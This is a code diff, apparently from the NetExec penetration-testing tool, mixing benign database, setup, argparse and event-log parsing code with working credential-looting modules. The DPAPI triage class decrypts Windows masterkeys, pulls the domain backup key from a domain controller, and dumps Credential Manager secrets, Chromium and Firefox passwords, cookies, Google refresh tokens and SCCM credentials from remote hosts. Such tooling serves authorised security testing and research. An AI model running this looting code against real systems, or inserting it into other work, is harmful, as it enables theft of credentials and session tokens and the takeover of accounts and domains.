nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
return q
# first we check if its an ip address
try:
ipaddress.ip_address(filter_term)
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
q = q.filter(ip_column == filter_term)
except ValueError:
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
like_term = func.lower(f"%{filter_term}%")
# check if the hostname column exists for hostname searching
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
return q
class BaseDB:
def __init__(self, db_engine):
self.db_engine = db_engine
self.db_path = self.db_engine.url.database
self.protocol = Path(self.db_path).stem.upper()
self.metadata = MetaData()
self.reflect_tables()
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
session = scoped_session(session_factory)
self.sess = session()
self.lock = Lock()
def reflect_tables(self):
raise NotImplementedError("Reflect tables not implemented")
def reflect_table(self, table):
with self.db_engine.connect():
try:
reflected_table = Table(table.__tablename__, self.metadata, autoload_with=self.db_engine)
# Check for column addition / deletion
reflected_columns = set(reflected_table.columns.keys())
orm_columns = {column.name for column in table.__table__.columns}
if reflected_columns != orm_columns:
raise ValueError(f"Schema mismatch detected! ORM columns: {orm_columns}, Reflected columns: {reflected_columns}")
# Check for constraint changes
reflected_constraints = [(type(c), c.columns.keys()) for c in reflected_table._sorted_constraints]
orm_constraints = [(type(c), c.columns.keys()) for c in table.__table__._sorted_constraints]
if reflected_constraints != orm_constraints:
raise ValueError(f"Schema mismatch detected! ORM constraints: {orm_constraints}, Reflected constraints: {reflected_constraints}")
return reflected_table
except (NoInspectionAvailable, NoSuchTableError, ValueError) as e:
commands_platform = {
"Windows": [
f"cmd /c copy {self.db_path} %USERPROFILE%\\nxc_{self.protocol.lower()}.bak",
f"del {self.db_path}"
],
"Linux": [
f"cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak",
f"rm -f {self.db_path}"
]
}
copy_command = commands_platform["Windows"][0] if platform.system() == "Windows" else commands_platform["Linux"][0]
delete_command = commands_platform["Windows"][1] if platform.system() == "Windows" else commands_platform["Linux"][1]
nxc_logger.fail(f"Schema mismatch detected for table '{table.__tablename__}' in protocol '{self.protocol}'")
nxc_logger.debug(e)
nxc_logger.fail("This is probably because a newer version of nxc is being run on an old DB schema.")
nxc_logger.fail(f"Optionally save the old DB data (`{copy_command}`)")
nxc_logger.fail(f"Then remove the {self.protocol} DB (`{delete_command}`) and run nxc to initialize the new DB")
sys.exit()
def shutdown_db(self):
try:
self.sess.close()
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
except IllegalStateChangeError as e:
nxc_logger.debug(f"Error while closing session db object: {e}")
def clear_database(self):
for table in self.metadata.sorted_tables:
self.db_execute(table.delete())
def db_execute(self, *args):
with self.lock:
res = self.sess.execute(*args)
return res.freeze()() if res.returns_rows else res
def get_keys(self, key_id=None, cred_id=None):
"""Return an empty list by default. Protocols that support keys (e.g. SSH) override this."""
return []
+13 -8
View File
@@ -8,18 +8,16 @@ from nxc.logger import nxc_logger
def first_run_setup(logger=nxc_logger):
if not exists(TMP_PATH):
mkdir(TMP_PATH)
if not exists(NXC_PATH):
logger.display("First time use detected")
logger.display("Creating home directory structure")
mkdir(NXC_PATH)
if not exists(TMP_PATH):
mkdir(TMP_PATH)
folders = (
"logs",
"modules",
"protocols",
"workspaces",
"obfuscated_scripts",
"screenshots",
@@ -29,13 +27,20 @@ def first_run_setup(logger=nxc_logger):
logger.display(f"Creating missing folder {folder}")
mkdir(path_join(NXC_PATH, folder))
log_subfolders = (
"sam",
"lsa",
"ntds",
"dpapi",
)
for subfolder in log_subfolders:
if not exists(path_join(NXC_PATH, f"logs/{subfolder}")):
logger.display(f"Creating missing folder logs/{subfolder}")
mkdir(path_join(NXC_PATH, f"logs/{subfolder}"))
initialize_db()
if not exists(CONFIG_PATH):
logger.display("Copying default configuration file")
default_path = path_join(DATA_PATH, "nxc.conf")
shutil.copy(default_path, NXC_PATH)
# if not exists(CERT_PATH):
# if os.name != 'nt':
# if e.errno == errno.ENOENT:
+41
View File
@@ -0,0 +1,41 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
from argparse import Action
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
help_string = action.help
if "%(default)" not in action.help and action.default is not SUPPRESS:
defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None
help_string += " (default: %(default)s)" # NORUFF
return help_string
class DefaultTrackingAction(Action):
def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
# Store the default value to check later
self.default_value = default
super().__init__(
option_strings, dest, default=default, required=required, **kwargs
)
def __call__(self, parser, namespace, values, option_string=None):
# Set an attribute to track whether the value was explicitly set
setattr(namespace, self.dest, values)
setattr(namespace, f"{self.dest}_explicitly_set", True)
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop("make_required", [])
super().__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
-2
View File
@@ -52,10 +52,8 @@ def add_user_bh(user, domain, logger, config):
_add_with_domain(user_info, domain, tx, logger)
except AuthError:
logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
exit()
except ServiceUnavailable:
logger.fail(f"Neo4J does not seem to be available on {uri}.")
exit()
except Exception as e:
logger.fail(f"Unexpected error with Neo4J: {e}")
finally:
+461
View File
@@ -0,0 +1,461 @@
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
from dploot.lib.target import Target
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.cng import CngTriage
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from dploot.triage.vaults import VaultsTriage
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.helpers.logger import highlight
def upgrade_to_dploot_connection(target, connection):
"""
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
This function gets the calling NXC protocol and tries reuse the already opened connection
on DPLoot directly. If not it opens up a new connection.
"""
conn = None
protocol = target.protocol
try:
match protocol:
case "smb":
from dploot.lib.network.smb import DPLootSMBConnection
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection.conn
else:
conn.connect()
case "wmi":
from dploot.lib.network.wmi import DPLootWMIConnection
conn = DPLootWMIConnection(target)
if connection is not None:
conn.dcom = connection.dcom_conn
conn.iWbemLevel1Login = connection.iWbemLevel1Login
else:
conn.connect()
case "winrm":
from dploot.lib.network.winrm import DPLootWINRMConnection
conn = DPLootWINRMConnection(target)
if connection is not None:
conn.conn = connection.conn
else:
conn.connect()
case "mssql":
from dploot.lib.network.mssql import DPLootMSSQLConnection
conn = DPLootMSSQLConnection(target)
if connection is not None:
conn.conn = connection.conn
except Exception as e:
connection.logger.debug(e)
return None
return conn
class DPAPITriage:
"""
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
```
@property
def dpapi_triage(self) -> DPAPITriage:
if self._dpapi_triage is not None:
return self._dpapi_triage
target = <dploot target creation>
self._dpapi_triage = DPAPITriage(self, target)
return self._dpapi_triage
```
This way, every DPAPI related module will automaticaly work with the protocol
"""
def __init__(self, connection, target: Target):
self.connection = connection
self.target = target
self.conn = None
self.dump_cookies = False
self.masterkeys = []
self._pvkbytes = None
# Keep track of writing secrets in file
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
self.secrets_counter = 0
if connection.args.dpapi is not None:
self.dump_cookies = "cookies" in connection.args.dpapi
# Variables to know what materkey types have already been dumped
self.system_masterkeys_already_dumped = False
self.users_masterkeys_already_dumped = False
# Initialize the connection here, if you need this class then you will need the connection
self.init_connection()
def __del__(self):
# When everything is finished, then we give the feedback to the user
if self.output_file is not None and self.secrets_counter > 0:
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
def log_secret(self, line, logger=None):
# Handle the secret counter here, avoid to handle it in multiple places
if logger is None:
logger = self.connection.logger
logger.highlight(line)
with open(self.output_file, "a", encoding="utf-8") as fd:
self.secrets_counter += 1
fd.write(line + "\n")
def init_connection(self):
"""Tries to initiate a DPLootConnection object from a NXC connection"""
if self.conn is not None:
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
return
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
if self.conn is None:
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
return
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
"""
Get and decrypt masterkeys from the target.
dump_users: If True, then user masterkeys will be collected if they have not already been
dump_system: If True, then system masterkeys will be collected if they have not already been
"""
# If we have already dumped everything, then we won't find new stuff
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
return self.masterkeys
masterkeys = []
plaintexts = {}
nthashes = {}
# First, check and handle the mkfile arg
if self.connection.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
except Exception as e:
self.connection.logger.fail(str(e))
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
if dump_users:
users = self.conn.list_users()
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
# dploot matches user.lower()
if self.connection.password != "":
plaintexts[self.connection.username.lower()] = self.connection.password
if self.connection.nthash != "":
nthashes[self.connection.username.lower()] = self.connection.nthash
# Now prepare the SYSTEM part
if (dump_system
and self.connection.dpapi_system_key is None
and hasattr(self.connection, "lsa")
and callable(self.connection.lsa)):
# We can use the protocol specific LSA dump if not already dumped.
# But first, just making sure the protocol supports LSA dump :)
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
self.connection.lsa(quiet=True)
if self.connection.dpapi_system_key is not None:
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
else:
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
# Invoke MasterkeyTriage class
try:
masterkeys_triage = MasterkeysTriage(
target=self.target,
conn=self.conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem=self.connection.dpapi_system_key,
)
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
# Collect User Masterkeys if this has not already been done
if dump_users and not self.users_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI Users masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.users_masterkeys_already_dumped = True
# Collect SYSTEM Masterkeys if this has not already been done
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
self.system_masterkeys_already_dumped = True
except Exception as e:
self.connection.logger.debug(f"Could not get masterkeys: {e}")
self.masterkeys += masterkeys
# If we decrypted new masterkeys, print the message
if len(masterkeys) > 0:
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
return self.masterkeys
def triage_credentials(self, masterkeys: list[Masterkey]):
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials_triage.triage_credentials()
credentials_triage.triage_system_credentials()
except Exception as e:
self.connection.logger.debug(f"Error while looting credentials: {e}")
def triage_chromium(self, masterkeys: list[Masterkey]):
cng_chromekey = None
# We need the CNG triage to recover Chrome passwords since Chrome v137
try:
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
for cng_file in cng_triage.triage_system_cng():
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
cng_chromekey = cng_file.decrypted_private_key
except Exception as e:
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, GoogleRefreshToken):
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
except Exception as e:
self.connection.logger.debug(f"Error while looting browsers: {e}")
def triage_vaults(self, masterkeys: list[Masterkey]):
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.connection.logger.debug(f"Error while looting vaults: {e}")
def triage_firefox(self):
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
self.log_secret(line)
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=self.dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
# The dpapi function for every protocol
def triage_dpapi(self):
# Load masterkeys
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
if len(masterkeys) == 0:
# Nothing will be recovered if no masterkeys, so we can stop there
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting secrets...")
# Calling all the triage functions. We can add other triage functions here
self.triage_credentials(masterkeys)
self.triage_chromium(masterkeys)
self.triage_vaults(masterkeys)
self.triage_firefox()
def triage_sccm(self):
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
if len(masterkeys) == 0:
self.connection.logger.fail("No masterkeys looted")
return
self.connection.logger.success("Looting SCCM Credentials")
def sccm_callback(secret):
if isinstance(secret, SCCMCred):
tag = "NAA Account"
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.username.decode("latin-1"),
secret.password.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMSecret):
tag = "Task sequences secret"
line = f"[{tag}] {secret.secret.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
"N/A",
secret.secret.decode("latin-1"),
"N/A",
)
elif isinstance(secret, SCCMCollection):
tag = "Collection Variable"
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
self.log_secret(line)
self.connection.db.add_dpapi_secrets(
self.target.address,
f"SCCM - {tag}",
"SYSTEM",
secret.variable.decode("latin-1"),
secret.value.decode("latin-1"),
"N/A",
)
try:
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
sccm_triage.triage_sccm()
except Exception as e:
self.logger.debug(f"Error while looting sccm: {e}")
@property
def pvkbytes(self):
"""
The pvkbytes. If not already initialized, tries to set it
The precedence order is the following :
- Check the pvk argument
- Checks in the DB
- Get it from a domain controller
"""
# pvkbytes already loaded and in cache ? Serve it
if self._pvkbytes is not None:
return self._pvkbytes
pvkbytes = None
# First check the pvk argument and handle it
if self.connection.args.pvk is not None:
try:
with open(self.connection.args.pvk, "rb") as fd:
pvkbytes = fd.read()
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
except Exception as e:
self.connection.logger.fail(str(e))
# If no pvkbytes yet, then we check in the DB
if pvkbytes is None:
try:
results = self.connection.db.get_domain_backupkey(self.connection.domain)
except Exception:
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
return False
if len(results) > 0:
self.connection.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
# If no pvkbytes yet, then we can try to get it from a domain controller
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
try:
dc_target = SMBTarget.create(
domain=self.connection.domain,
username=self.connection.username,
password=self.connection.password,
address=self.connection.kdcHost, # querying DNS server for domain will return DC
lmhash=self.connection.lmhash,
nthash=self.connection.nthash,
do_kerberos=self.connection.kerberos,
aesKey=self.connection.aesKey,
use_kcache=self.connection.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
else:
self.connection.no_da = False
except Exception as e:
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
self._pvkbytes = pvkbytes
return self._pvkbytes
+214
View File
@@ -0,0 +1,214 @@
# SPDX-License-Identifier: GPL-2.0+
import struct
import uuid
from datetime import datetime
from nxc.logger import nxc_logger
class Substitution:
def __init__(self, buf, offset):
(sub_token, sub_id, sub_type) = struct.unpack_from("<BHB", buf, offset)
self.length = 4
self._id = sub_id
self._type = sub_type
self._optional = sub_token == 0x0e
def xml(self, template=None):
value = template.values[self._id]
if value.type == 0x0:
return None if self._optional else ""
if self._type == 0x1:
return value.data.decode("utf16")
elif self._type == 0x4:
return str(struct.unpack("<B", value.data)[0])
elif self._type == 0x6:
return str(struct.unpack("<H", value.data)[0])
elif self._type == 0x8:
return str(struct.unpack("<I", value.data)[0])
elif self._type == 0xa:
return str(struct.unpack("<Q", value.data)[0])
elif self._type == 0x11:
# see http://integriography.wordpress.com/2010/01/16/using-phython-to-parse-and-present-windows-64-bit-timestamps/
return datetime.utcfromtimestamp(struct.unpack("<Q", value.data)[0] / 1e7 - 11644473600).isoformat()
elif self._type == 0x13:
# see http://www.gossamer-threads.com/lists/apache/bugs/386930
revision, number_of_sub_ids = struct.unpack_from("<BB", value.data)
iav = struct.unpack_from(">Q", value.data, 2)[0]
sub_ids = [struct.unpack("<I", value.data[8 + 4 * i:12 + 4 * i])[0] for i in range(number_of_sub_ids)]
return "S-{}-{}-{}".format(revision, iav, "-".join([str(sub_id) for sub_id in sub_ids]))
elif self._type == 0x15 or self._type == 0x10:
return value.data.hex()
elif self._type == 0x21:
return value.template.xml()
elif self._type == 0xf:
return str(uuid.UUID(bytes_le=value.data))
else:
nxc_logger.display(f"Unknown value type {hex(value.type)}")
class Value:
def __init__(self, buf, offset):
token, string_type, length = struct.unpack_from("<BBH", buf, offset)
self._val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
self.length = 4 + length * 2
def xml(self, template=None):
return self._val
class Attribute:
def __init__(self, buf, offset):
struct.unpack_from("<B", buf, offset)
self._name = Name(buf, offset + 1)
(next_token) = struct.unpack_from("<B", buf, offset + 1 + self._name.length)
if next_token[0] == 0x05 or next_token == 0x45:
self._value = Value(buf, offset + 1 + self._name.length)
elif next_token[0] == 0x0e:
self._value = Substitution(buf, offset + 1 + self._name.length)
else:
nxc_logger.display(f"Unknown attribute next_token {hex(next_token[0])} {hex(offset + 1 + self._name.length)}")
self.length = 1 + self._name.length + self._value.length
def xml(self, template=None):
val = self._value.xml(template)
return None if val is None else f'{self._name.val}="{val}"'
class Name:
def __init__(self, buf, offset):
hashs, length = struct.unpack_from("<HH", buf, offset)
self.val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
self.length = 4 + (length + 1) * 2
class Element:
def __init__(self, buf, offset):
token, dependency_id, length = struct.unpack_from("<BHI", buf, offset)
self._name = Name(buf, offset + 7)
self._dependency = dependency_id
ofs = offset + 7 + self._name.length
if token == 0x41:
struct.unpack_from("<I", buf, ofs)
ofs += 4
self._children = []
self._attributes = []
while True:
next_token = buf[ofs]
if next_token == 0x06 or next_token == 0x46:
attr = Attribute(buf, ofs)
self._attributes.append(attr)
ofs += attr.length
elif next_token == 0x02:
self._empty = False
ofs += 1
while True:
next_token = buf[ofs]
if next_token == 0x01 or next_token == 0x41:
element = Element(buf, ofs)
elif next_token == 0x04:
ofs += 1
break
elif next_token == 0x05:
element = Value(buf, ofs)
elif next_token == 0x0e or next_token == 0x0d:
element = Substitution(buf, ofs)
else:
nxc_logger.display(f"Unknown intern next_token {hex(next_token)} {hex(ofs)}")
break
self._children.append(element)
ofs += element.length
break
elif next_token == 0x03:
self._empty = True
ofs += 1
break
else:
nxc_logger.display(f"Unknown element next_token {hex(next_token)} {hex(ofs)}")
break
self.length = ofs - offset
def xml(self, template=None):
if self._dependency != 0xFFFF and template.values[self._dependency].type == 0x00:
return ""
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
attrs = " ".join(attrs)
if len(attrs) > 0:
attrs = " " + attrs
if self._empty:
return f"<{self._name.val}{attrs}/>"
else:
children = (x.xml(template) for x in self._children)
return "<{}{}>{}</{}>".format(self._name.val, attrs, "".join(children), self._name.val)
class ValueSpec:
def __init__(self, buf, offset, value_offset):
self.length, self.type, value_eof = struct.unpack_from("<HBB", buf, offset)
self.data = buf[value_offset:value_offset + self.length]
if self.type == 0x21:
self.template = BinXML(buf, value_offset)
class TemplateInstance:
def __init__(self, buf, offset):
token, unknown0, guid, length, next_token = struct.unpack_from("<BB16sIB", buf, offset)
if next_token == 0x0F:
self._xml = BinXML(buf, offset + 0x16)
eof, num_values = struct.unpack_from("<BI", buf, offset + 22 + self._xml.length)
values_length = 0
self.values = []
for x in range(num_values):
value = ValueSpec(buf, offset + 22 + self._xml.length + 5 + x * 4, offset + 22 + self._xml.length + 5 + num_values * 4 + values_length)
self.values.append(value)
values_length += value.length
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
else:
nxc_logger.display(f"Unknown template token {hex(next_token)}")
def xml(self, template=None):
return self._xml.xml(self)
class BinXML:
def __init__(self, buf, offset):
header_token, major_version, minor_version, flags, next_token = struct.unpack_from("<BBBBB", buf, offset)
if next_token == 0x0C:
self._element = TemplateInstance(buf, offset + 4)
elif next_token == 0x01 or next_token == 0x41:
self._element = Element(buf, offset + 4)
else:
nxc_logger.display(f"Unknown binxml token {hex(next_token)}")
self.length = 4 + self._element.length
def xml(self, template=None):
return self._element.xml(template)
class ResultSet:
def __init__(self, buf):
total_size, header_size, event_offset, bookmark_offset, binxml_size = struct.unpack_from("<IIIII", buf)
self._xml = BinXML(buf, 0x14)
def xml(self):
return self._xml.xml()
+350
View File
@@ -0,0 +1,350 @@
from base64 import b64decode
from binascii import unhexlify
from hashlib import pbkdf2_hmac, sha1, sha256
import hmac
import json
import ntpath
from os import remove
import sqlite3
import tempfile
from dataclasses import dataclass
from typing import Any
from Cryptodome.Cipher import AES, DES3
from pyasn1.codec.der import decoder
from dploot.lib.network import DPLootConnection
CKA_ID = unhexlify("f8000000000000000000000000000001")
# Constants for different encryption modes
CBC_IV_LENGTH = 16 # AES-256-CBC uses 16-byte IV (Firefox 144+)
DES_IV_LENGTH = 8 # 3DES-CBC uses 8-byte IV (legacy)
@dataclass
class FirefoxData:
winuser: str
url: str
username: str
password: str
@dataclass
class FirefoxCookie:
winuser: str
host: str
path: str
cookie_name: str
cookie_value: str
creation_utc: str
expires_utc: str
last_access_utc: str
class FirefoxTriage:
"""
Firefox by @zblurx
Inspired by firefox looting from DonPAPI
https://github.com/login-securite/DonPAPI
"""
firefox_generic_path = "Users\\{}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles"
share = "C$"
false_positive = (
".",
"..",
"desktop.ini",
"Public",
"Default",
"Default User",
"All Users",
)
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
self.target = target
self.logger = logger
self.conn = conn
self.per_secret_callback = per_secret_callback
def run(self, gather_cookies=False):
firefox_data = []
firefox_cookies = []
# list users
users = self.conn.list_users()
for user in users:
try:
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
self.logger.debug(e)
if directories is None:
continue
for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]:
try:
if gather_cookies:
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
if cookies_data is not None:
firefox_cookies += self.parse_cookie_data(user, cookies_data)
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
logins_data = self.conn.read_file(path=logins_path, share=self.share)
if logins_data is None:
continue # No logins.json file found
logins = self.get_login_data(logins_data=logins_data)
if len(logins) == 0:
continue # No logins profile found
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.read_file(path=key4_path, share=self.share)
if key4_data is None:
continue
# Get all available master keys (Firefox 144+ may have multiple keys)
keys = self.get_all_keys(key4_data=key4_data)
if len(keys) == 0 and self.target.password != "":
keys = self.get_all_keys(
key4_data=key4_data,
master_password=self.target.password.encode(),
)
if len(keys) == 0:
continue
for username, pwd, host in logins:
decoded_username = None
password = None
for key in keys:
try:
decrypted_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2])
decoded_username = decrypted_username.decode("utf-8")
decrypted_password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2])
password = decrypted_password.decode("utf-8")
break # Success - stop trying other keys
except (UnicodeDecodeError, Exception):
continue
if password is not None and decoded_username is not None:
data = FirefoxData(
winuser=user,
url=host,
username=decoded_username,
password=password,
)
if self.per_secret_callback is not None:
self.per_secret_callback(data)
firefox_data.append(data)
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
self.logger.exception(e)
return firefox_data
def parse_cookie_data(self, windows_user, cookies_data):
cookies = []
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
fh.write(cookies_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
cursor = db.cursor()
cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;")
for name, value, host, path, expiry, lastAccessed, creationTime in cursor:
cookie = FirefoxCookie(
winuser=windows_user,
host=host,
path=path,
cookie_name=name,
cookie_value=value,
creation_utc=creationTime,
last_access_utc=lastAccessed,
expires_utc=expiry,
)
if self.per_secret_callback is not None:
self.per_secret_callback(cookie)
cookies.append(cookie)
return cookies
def get_login_data(self, logins_data):
json_logins = json.loads(logins_data)
if "logins" not in json_logins:
return [] # No logins key in logins.json file
return [
(
self.decode_login_data(row["encryptedUsername"]),
self.decode_login_data(row["encryptedPassword"]),
row["hostname"],
)
for row in json_logins["logins"]
]
def get_key(self, key4_data, master_password=b""):
"""Legacy method - retrieves first available key"""
keys = self.get_all_keys(key4_data, master_password)
